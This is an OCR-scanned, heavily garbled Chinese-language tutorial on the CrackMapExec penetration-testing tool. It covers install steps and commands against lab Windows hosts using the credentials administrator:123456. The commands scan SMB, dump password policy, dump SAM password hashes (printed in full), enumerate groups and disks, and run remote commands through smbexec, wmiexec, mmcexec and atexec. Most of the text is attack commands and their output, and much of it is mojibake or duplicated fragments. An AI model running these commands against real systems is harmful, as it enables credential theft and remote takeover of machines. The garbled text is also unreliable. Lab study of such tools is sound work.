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CrackMapExec3f#h 7 MSF4 Tauxiliary , scannert&R FR9CommandiiT/a = , {EMSF5
ERERZAE, EMSFAT | 1IZIEZREXIE S EAERREE LI , ESAMSFSEERZ
[B)5% , {EiZiELREE &bloodhound SempirelkABBIE—EMLE.

LEEH : from Wiki :

Kali :

1 apt-get install crackmapexec

BfEE#EEFpipenvisEs
1 apt-get install -y libssl-dev libffi-dev python-dev build-essential
2 pip install --user pipenv
3 git clone --recursive https://github.com/byt3b133d3r/CrackMapExec
I cd CrackMapExec && pipenv install
5 pipenv shell
6 python setup.py install

Mac OSX :

I pip install --user crackmapexec

FRA/9100%67%

Il cme smb 192.168.1.0/24

2 SMB 192.168.1.4 445 JOHN-PC [*] Windows 7 Ultimate 7601 Service Pack 1
x64 (name:JOHN-PC domain:JOHN-PC signing:False SMBv1:True

3 SMB 192.168.1.119 445 WIN@G3X64 [*] Windows Server 2003 R2 3790 Service
Pack 2 x32 (name:WINO3X64 domain:WIN@3X64 signing:False SMBv1:True
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I root :~# cme smb 192.168.1.119 -u administrator -p '123456' --pass
-pol

2 SMB 192.168.1.119 445 WINO3X64 [*] Windows Server 2003 R2 3790 Service
Pack 2 x32 (name:WINOG3X64 domain:WIN@3X64 signing:False SMBv1:True

3 SMB 192.168.1.119 445 WINO3X64 [+]| WIN@3X64\administrator:123456 (Pwn3
d!

| SMB 192.168.1.119 445 WINOG3X64 [+] Dumping password info for domain: W
INO3X64

5 SMB 192.168.1.119 445 WINO3X64 Minimum password length: None
6 SMB 192.168.1.119 445 WINO3X64 Password history length: None

7 SMB 192.168.1.119 445 WINO3X64 Maximum password age: 42 days 22 hours
47 minutes

8 SMB 192.168.1.119 445 WINO3X64

9 SMB 192.168.1.119 445 WIN@3X64 Password Complexity Flags: 000000
10 SMB 192.168.1.119 445 WINO3X64 Domain Refuse Password Change: ©

Il SMB 192.168.1.119 445 WIN®3X64 Domain Password Store Cleartext: ©
12 SMB 192.168.1.119 445 WINO3X64 Domain Password Lockout Admins: ©

13 SMB 192.168.1.119 445 WINO3X64 Domain Password No Clear Change: ©
14 SMB 192.168.1.119 445 WINOG3X64 Domain Password No Anon Change: ©
15 SMB 192.168.1.119 445 WINOG3X64 Domain Password Complex: ©

16 SMB 192.168.
17 SMB 192.168.

.119 445 WIN@3X64
.119 445 WIN@3X64 Minimum password age: None

N = T = T = T =

18 SMB 192.168.1.119 445 WINO3X64 Reset Account Lockout Counter: 30 minut

es

19 SMB 192.168.1.119 445 WINO3X64 Locked Account Duration: 30 minutes

=

20 SMB 192.168.1.119 445 WINO3X64 Account Lockout Threshold: None
21 SMB 192.168.1.119 445 WINO3X64 Forced Log off Time: Not Set

rootgJohn: & 2} 118 strator -p '123458

[#] Windc 5 ack 2 ame : b J {domain: signing:False} (SMBv1:True

[+] W

[+] Dumping

Hinimum password

Password history H 3

Haximum password age: 42 days 22 hours 47 minutes

Password Complexity Flags: 008008
Domain Refuse Password Change: @
Domain Password Store Cleartext: @
Domain Password Lockout Admins: @
Domain Password No Clear Change: @
Domain Password Mo Anon Change: @
Domain Password Complex: @

Hinimum password age: Mone

Reset Account Lockout Counter: 30 minutes
Locked Account Duration: 30 minutes
Account Lockout Threshold: Hone

Forced Log off Time: Mot Set

list hash



1 root :~# cme smb 192.168.1.119 -u administrator -p '123456' --sam

2 SMB 192.168.1.119 445 WINO3X64 [*] Windows Server 2003 R2 3790 Service
Pack 2 x32 (name:WINO3X64 domain:WINOG3X64 signing:False SMBv1:True

3 SMB 192.168.1.119 445 WINO3X64 [+] WINO3X64\administrator:123456 (Pwn3
d!

| SMB 192.168.1.119 445 WINO3X64 [+] Dumping SAM hashes

5 SMB 192.168.1.119 445 WINO3X64 Administrator:500:44efcel64ab92lcaaad3b
435b51404ee:32ed87bdb5fdc5e9cba88547376818d4: : :

6 SMB 192.168.1.119 445 WINO3X64 Guest:501:aad3b435b51404eeaad3b435b5140
4ee:67133d2095bda39fbfeb63fbadf2313a:::

7 SMB 192.168.1.119 445 WINO3X64 SUPPORT_388945a0:1001:aad3b435b51404eea
ad3b435b51404ee:f4d13c67c7608094c9b0e39147f07520: : :

8 SMB 192.168.1.119 445 WIN@3X64 IUSR_WINO3X64:1003:dbec2@afefb6cc332311
fb9822bablce:68c22al11c400d91fadfe6ff36b3cl5dc: : :

9 SMB 192.168.1.119 445 WINO3X64 IWAM WINO3X64:1004:1f783381lede022del76cC
59b+598409c7:7e456daac229ddceccf5f367aa69a487: : :

10 SMB 192.168.1.119 445 WINO3X64 ASPNET:1008:cc26551b70faffc095feb73dbl¢
b65ff:fec6e9e4a08319al1f62cd30447247188: ::

[l SMB 192.168.1.119 445 WINO3X64 [+] Added 6 SAM hashes to the database

ar -FI
[#] Windows Se rice Pack ELER P signing:Fals

[+] W
[+] Dumping
Administrat
39fbfobo3fhadf2
4d13¢67c 70080949
Bc22allcatdd9lfadfonf

6b65ff: fecbe9eda08319alf62cd30447247168: ::
[+] added & Saw to the database

Rz

I root :~# cme smb 192.168.1.119 -u administrator -p '123456' --loca
l1-groups

2 SMB 192.168.1.119 445 WINO3X64 |[*] Windows Server 2003 R2 3790 Service
Pack 2 x32 (name:WINO3X64 domain:WIN@3X64 signing:False SMBv1:True

3 SMB 192.168.1.119 445 WINO3X64 [+]| WIN@3X64\administrator:123456 (Pwn3

d!

I SMB 192.168.1.119 445 WINO3X64 |[+] Enumerated local groups

5 SMB 192.168.1.119 445 WINO3X64 HelpServicesGroup membercount: 1
6 SMB 192.168.1.119 445 WINO3X64 IIS WPG membercount: 4

7 SMB 192.168.1.119 445 WINO3X64 TelnetClients membercount: ©

8 SMB 192.168.1.119 445 WINO3X64 Administrators membercount: 1

9 SMB 192.168.1.119 445 WINO3X64 Backup Operators membercount: ©

10 SMB 192.168.1.119 445 WINO3X64 Distributed COM Users membercount: ©
Il SMB 192.168.1.119 445 WINO3X64 Guests membercount: 2



12 SMB 192.168.1.119 445 WIN@3X64 Network Configuration Operators memberc
ount: @

13 SMB 192.168.1.119 445 WINO3X64 Performance Log Users membercount: 1
14 SMB 192.168.

=

.119 445 WINO3X64 Performance Monitor Users membercount:

.119 445 WIN@3X64 Power Users membercount: ©
.119 445 WIN@3X64 Print Operators membercount: ©

15 SMB 192.168.
16 SMB 192.168.
17 SMB 192.168.
18 SMB 192.168.

.119 445 WINO3X64 Remote Desktop Users membercount: ©
.119 445 WINO3X64 Replicator membercount: @

N e

19 SMB 192.168.1.119 445 WINO3X64 Users membercount: 3

92, ] 2] g -p -
SHE ,168.1.118 WINDSH G AN o vice Pack ame ;W o (signing:Fals
1

HelpServicesGroup membercount :
TIS_WPG menbercount :
TelnetClients menbercount :
Administrators menbercount :
Backup Operators menbercount :

Distributed Con Users menbercount :
Guests menbercount :
Hetwork Configuration Operators membercount :
Performance Log Users membercount :
Performance Monitor Users menbercount :
Pover Users menbercount :
Print Operators menbercount :
Remote Desktop Users menbercount :
Replicator menbercount :
Users menbercount :

WSSO @EESNS SRS A

DRIFAMHITCommand , #175--exec-method#tlfT , BAIAAwmiexecHifT.
o mmcexec
e smbexec
e wmiexec

° atexec

EHTFsmbexeciii7Command

| root :~# cme smb 192.168.1.6 -u administrator -p '123456' --exec-m
ethod smbexec -x 'net user'

2 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [*] Windows Web Server 2008 R2 760
0 x64 (name:WIN-5BMI9HGC42S domain:WIN-5BMI9HGC42S signing:False St
Bvl:True

3 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+ | WIN-
S5BMI9HGC42S\administrator:123456 (Pwn3d!

| SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+] Executed command via smbexec
SMB 192.168.1.6 445 WIN-5BMI9HGC42S \\ €919 © ‘©
6 SMB 192.168.1.6 445 WIN-5BMISHGCA42S

o1

7 SMB 192.168.1.6 445 WIN-5BMI9HGCA2S =---=--=======-c-—=oooommmoo

8§ SMB 192.168.1.6 445 WIN-5BMI9HGC42S Administrator Guest



9 SMB 192.168.1.6 445 WIN-5BMISHGC42S @9 €090 ©€ 000100000666
00000000600

WIM-SEMIS domain:WIN- SEMI9HGC

23456 (Pun3d!)

EFdcom#irCommand

I root :~# cme smb 192.168.1.6 -u administrator -p '123456' --exec-m
ethod mmcexec -x 'whoami’

2 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [*] Windows Web Server 2008 R2 760

@ x64 (name:WIN-5BMI9HGC42S domain:WIN-5BMI9HGC42S signing:False St
Bvl:True

3 SMB 192.168.1.6 445 WIN-5BMISHGC42S |[+]| WIN-
S5BMI9HGC42S\administrator:123456 (Pwn3d!

| SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+] Executed command via mmcexec
5 SMB 192.168.1.6 445 WIN-5BMI9HGC42S win-5bmiShgc42s\administrator

192,168.1.6 -u a
6 445

445 WIN- GCAZS  [+] WIN-SEMIOHGC
445 WIN-© [+] Executed co
445 WIM- win-5bmi%hgcd2stadmi

HFwmiirCommand

I root :~# cme smb 192.168.1.6 -u administrator -p '123456' --exec-m
ethod wmiexec -x 'whoami’

2 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [*] Windows Web Server 2008 R2 760
@ x64 (name:WIN-5BMI9HGC42S domain:WIN-5BMI9HGC42S signing:False SI
Bvl:True

3 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+]| WIN-
5BMI9HGC42S\administrator:123456 (Pwn3d!

I SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+]| Executed command via wmiexec

5 SMB 192.168.1.6 445 WIN-5BMI9HGC42S win-5bmi9hgc42s\administrator

root@John: -—# cme smb 192.169.1.6 -u administr - -p '123456' --exec- hod wini ami'
SHE 162.168.1.6 445 WIN-5EMI iindows We (name WIN-5BMISHGCA2S] (domain:WIN-SEMIOHGCAZS) ([signing:False) (SMEw1:T

445 WIN-SEMISHGC4Z [+] WIN-SEMISHGL i 23456 (Pwn3d!)
445 WIN-5EMT [+] Executed c Y
445 WIN-5EMI win-5bmighgcd2s’administrator

EFATHITCommand



Bimt . ToizfTcalcHiz

C:sllzers~Administrator>tasklist findstr calc

I root :~# cme smb 192.168.1.6 -u administrator -p '123456' --exec-m
ethod atexec -x 'calc'

2 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [*] Windows Web Server 2008 R2 760
@ x64 (name:WIN-5BMI9HGCA42S domain:WIN-5BMI9HGC42S signing:False St
Bvl:True

3 SMB 192.168.1.6 445 WIN-5BMISHGC42S |[+]| WIN-
S5BMI9HGC42S\administrator:123456 (Pwn3d!

| SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+]| Executed command via atexec

C:xllzers“Administrator>*tasklist ifindstr calc

C=sUserssAdministratortasklist findstr calc
calc.exe 2736 Services 2,372 K

2R\ SKEYwmiexecHifTCommand , £E4-x

I root :~# cme smb 192.168.1.6 -u administrator -p '123456' -x 'whoa
mi'

2 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [*]| Windows Web Server 2008 R2 760
0 x64 (name:WIN-5BMI9HGC42S domain:WIN-5BMI9HGC42S signing:False S!
Bvl:True

3 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+]| WIN-
S5BMI9HGC42S\administrator:123456 (Pwn3d!

| SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+] Executed command
5 SMB 192.168.1.6 445 WIN-5BMI9HGC42S win-5bmiShgc42s\administrator

root@John: -# cme smb 192.168.1.6 -u admini -p ‘12 i
H 192.168.1.8 443 WIN-5BEML #] Windc B gr : 4 [name: WIN- SBMISHGCA: {domain:WIN- SBMISH ) (signing:False) (SMBVL:T

445 WIN- SEM WIN-5BM a nis o 56 (Pun3d!)
445 WIN-SEM [+] Executed command
445 WIN- SEMISHGC win-5bmighgcazsiadministrator

RrzEBrldisk

| root :~# cme smb 192.168.1.6 -u administrator -p '123456' --disks

2 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [*] Windows Web Server 2008 R2 760
@ x64 (name:WIN-5BMI9HGC42S domain:WIN-5BMI9HGC42S signing:False S
Bvl:True



3 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+ | WIN-
5BMI9HGC42S\administrator:123456 (Pwn3d!

4 SMB 192.168.1.6 445 WIN-5BMI9HGC42S [+] Enumerated disks
SMB 192.168.1.6 445 WIN-5BMI9HGC42S C:

(2]

6 SMB 192.168.1.6 445 WIN-5BMISHGC42S D:
7 SMB 192.168.1.6 445 WIN-5BMISHGC42S E:
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FERBIEEIR . UnicodeDecodeError:

Hkimpacket

;-# pip list |grep impacket

impacket 0.8,18
.
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